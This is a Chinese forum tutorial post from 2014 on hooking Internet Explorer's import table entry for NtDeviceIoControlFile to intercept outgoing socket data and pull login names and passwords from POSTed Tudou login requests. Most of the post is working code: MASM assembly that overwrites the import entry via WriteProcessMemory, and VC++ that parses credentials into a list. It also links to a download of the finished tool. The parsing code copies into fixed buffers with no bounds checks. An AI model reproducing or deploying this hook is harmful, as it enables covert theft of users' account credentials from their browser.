返回列表 回复 发帖

[原创]IAT(导入表)HOOK获取IE浏览器POST的账号和密码技术

本帖最后由 ghosthand 于 2014-2-25 00:24 编辑

GhostHand个人原创,转载请注明出处
本示例用了土豆的封包进行了测试,以下为展示图

技术点:
1、进程间通讯:采用了SendMessage配合参数WM_COPYDATA,其中cbData为数据长度,lpData为数据地址指针,dwData为自定义数据,这三个字段属于结构:COPYDATASTRUCT,通过发送这个消息给指定窗口,在指定窗口中创建OnCopyData来处理传输的数据。具体代码如下:
  1. LOCAL        cpd:COPYDATASTRUCT
  2. mov cpd.dwData,0
  3. push        [edi].len
  4. pop        cpd.cbData
  5. push        [edi].buf
  6. pop        cpd.lpData
  7. invoke SendMessage,hWinMain,WM_COPYDATA,NULL,addr cpd
复制代码
2、IAT_HOOK:导入表HOOK,程序在运行时需要调用API函数,API函数的地址存放在导入表中,通过PE结构可以获取导入表中指定函数的地址,同时我们也可以修改这个地址指向我们自己的处理函数,这就是导入表HOOK(需要学习的童鞋可以去看看PE文件结构),这里放上处理源码:
  1. _HookDeviceIoControl        proc
  2.         LOCAL        @hMod
  3.         LOCAL        @btw
  4.         LOCAL        @import
  5.         LOCAL        @count
  6.         mov @count,0
  7.         ;获取模块起始地址
  8.         invoke GetModuleHandle,offset szMswsock
  9.         .if        !eax
  10.                 ret
  11.         .endif
  12.         mov @hMod,eax
  13.         pushad
  14.         mov esi,eax
  15.         assume esi:ptr IMAGE_DOS_HEADER
  16.         movzx eax,[esi].e_magic
  17.         .if        (eax != IMAGE_DOS_SIGNATURE)
  18.                 ret
  19.         .endif
  20.         add esi,[esi].e_lfanew
  21.         assume esi:ptr IMAGE_NT_HEADERS
  22.         mov eax,[esi].Signature
  23.         .if        (eax != IMAGE_NT_SIGNATURE)
  24.                 ret
  25.         .endif
  26.         mov esi,[esi].OptionalHeader.DataDirectory[8].VirtualAddress
  27.         .if        !esi
  28.                 ret
  29.         .endif
  30.         add esi,@hMod
  31.         assume esi:ptr IMAGE_IMPORT_DESCRIPTOR        ;esi指向了第一个导入表
  32.         ;循环处理每一个导入表
  33.         .while [esi].OriginalFirstThunk || [esi].TimeDateStamp || \
  34.                 [esi].ForwarderChain || [esi].Name1 || [esi].FirstThunk
  35.                 mov edx,@hMod
  36.                 add edx,[esi].Name1
  37.                 invoke lstrcmp,edx,offset szNtDll
  38.                 .if        eax == 0
  39.                         mov @import,esi        ;导入表RVA
  40.                         .break
  41.                 .endif
  42.                 add esi,sizeof IMAGE_IMPORT_DESCRIPTOR
  43.         .endw
  44.         ;当前为ntdll的导入表
  45.         mov esi,[esi].OriginalFirstThunk        
  46.         add esi,@hMod                                ;esi当前指向IMAGE_THUNK_DATA结构数组
  47.         assume edx:ptr IMAGE_IMPORT_BY_NAME
  48.         .while        esi
  49.                 .if        esi & IMAGE_ORDINAL_FLAG32
  50.                 .else
  51.                         mov edx,@hMod
  52.                         add edx,dword ptr [esi]
  53.                         invoke lstrcmp,addr [edx].Name1,offset szNtDeviceIoControlFile
  54.                         .if        eax == 0
  55.                                 mov esi,@import
  56.                                 mov esi,[esi].FirstThunk
  57.                                 add esi,@hMod
  58.                                 mov eax,sizeof IMAGE_THUNK_DATA
  59.                                 mul @count
  60.                                 add esi,eax
  61.                                 mov eax,dword ptr [esi]
  62.                                 mov lpNtDeviceIoControl,eax
  63.                                 mov eax,offset NewNtDeviceIoControlFile
  64.                                 mov lpNewNtDeviceIoControl,eax
  65.                                 mov ImportNtDeviceIoControl,esi
  66.                                 ;写入自己程序的地址进行跳转
  67.                                 invoke WriteProcessMemory,hCurProc,esi,offset lpNewNtDeviceIoControl,sizeof dword,addr @btw
  68.                                 .break
  69.                         .endif
  70.                 .endif
  71.                 add esi,4
  72.                 mov eax,@count
  73.                 add eax,1
  74.                 mov @count,eax
  75.         .endw
  76.         assume edx:nothing
  77.         assume esi:nothing
  78.         popad
  79.         ret

  80. _HookDeviceIoControl endp
复制代码
3、封包的获取:本例采用了IAT HOOK了NtDeviceIoControlFile函数的导入表信息,并通过对IoControlCode控制码进行过滤,如果IoControlCode为AFD_SEND(AFD_SEND        equ        1201fh),则通过invoke SendMessage,hWinMain,WM_COPYDATA,NULL,addr cpd将消息发送到我们的处理进程。为了方便我们和处理进程(主进程)之间的通讯,我们可以将主进程的窗体句柄通过DLL的函数写入DLL中的一个内存共享区,内存共享区可以通过在DLL生成链接时的参数指定(/section:.bss,S),这个参数指定DLL中的“.data?”段为共享内存块。
4、有用信息的过滤:既然数据已经获取到了,那我们就应该要提取数据中的有用信息了,用一个我自己写的小工具获取一下登陆土豆网站时候的数据,会发现去下有用信息:


通过字符串比对定位有用数据的位置,然后将有用的数据复制到字符数组中,以下为VC源码,写的不是很好,希望大家能一起交流一下:
  1. BOOL CTuDouDlg::OnCopyData(CWnd* pWnd, COPYDATASTRUCT* pCopyDataStruct)
  2. {
  3.         // TODO: Add your message handler code here and/or call default
  4.         char buf[8192];
  5.         char name[512];
  6.         char pwd[512];
  7.         char url[512];
  8.         memset(buf,0,sizeof(buf));
  9.         memset(name,0,sizeof(name));
  10.         memset(pwd,0,sizeof(pwd));
  11.         memset(url,0,sizeof(url));

  12.         memcpy(buf,pCopyDataStruct->lpData,10);
  13.         //判断头部数据
  14.         if(0 == strcmp(buf,"loginname="))
  15.         {
  16.                 int lenBuf;
  17.                 int len;
  18.                 memset(buf,0,sizeof(buf));
  19.                 memcpy(buf,pCopyDataStruct->lpData,pCopyDataStruct->cbData);
  20.                 //解析用户名
  21.                 for (len=0,lenBuf=10;;len++,lenBuf++)
  22.                 {
  23.                         if (buf[lenBuf]=='&')
  24.                         {
  25.                                 lenBuf+=10;
  26.                                 break;
  27.                         }
  28.                         if (buf[lenBuf]=='%')
  29.                         {
  30.                                 name[len]='@';
  31.                                 lenBuf+=2;
  32.                                 continue;
  33.                         }
  34.                         name[len]=buf[lenBuf];
  35.                 }
  36.                 //解析密码
  37.                 for(len=0;;len++,lenBuf++)
  38.                 {
  39.                         if (buf[lenBuf]=='&')
  40.                         {
  41.                                 lenBuf++;
  42.                                 break;
  43.                         }
  44.                         pwd[len]=buf[lenBuf];
  45.                 }
  46.                 //解析其他数据
  47.                 int tempLen = pCopyDataStruct->cbData - lenBuf;
  48.                 for(len=0;len<tempLen;len++,lenBuf++)
  49.                 {
  50.                         url[len]=buf[lenBuf];
  51.                 }
  52.                 CListCtrl* pList = (CListCtrl*)GetDlgItem(IDC_LIST);
  53.                 int item = pList->InsertItem(0,name);
  54.                 pList->SetItemText(item,1,pwd);
  55.                 pList->SetItemText(item,2,url);
  56.         }
  57.          
  58.         return CDialog::OnCopyData(pWnd, pCopyDataStruct);
  59. }
复制代码
程序下载地址:http://ghostasm.com/forum.php?mo ... &extra=page%3D1
还有,就是通过抓包工具,也可以实现这样的功能。例如Sniffer。当然这时工具流的处理方式。
回复 2# fwbook

Sniffer确实也是一个不错的工具,分析封包数据还得看一个工具如何去过滤出有用的封包了
回复 3# ghosthand


    设置过滤器,就OK。Sniffer自带很多过滤器。当然,也可以下载别人写好的。反正是很强大的东东。强大到很危险。
返回列表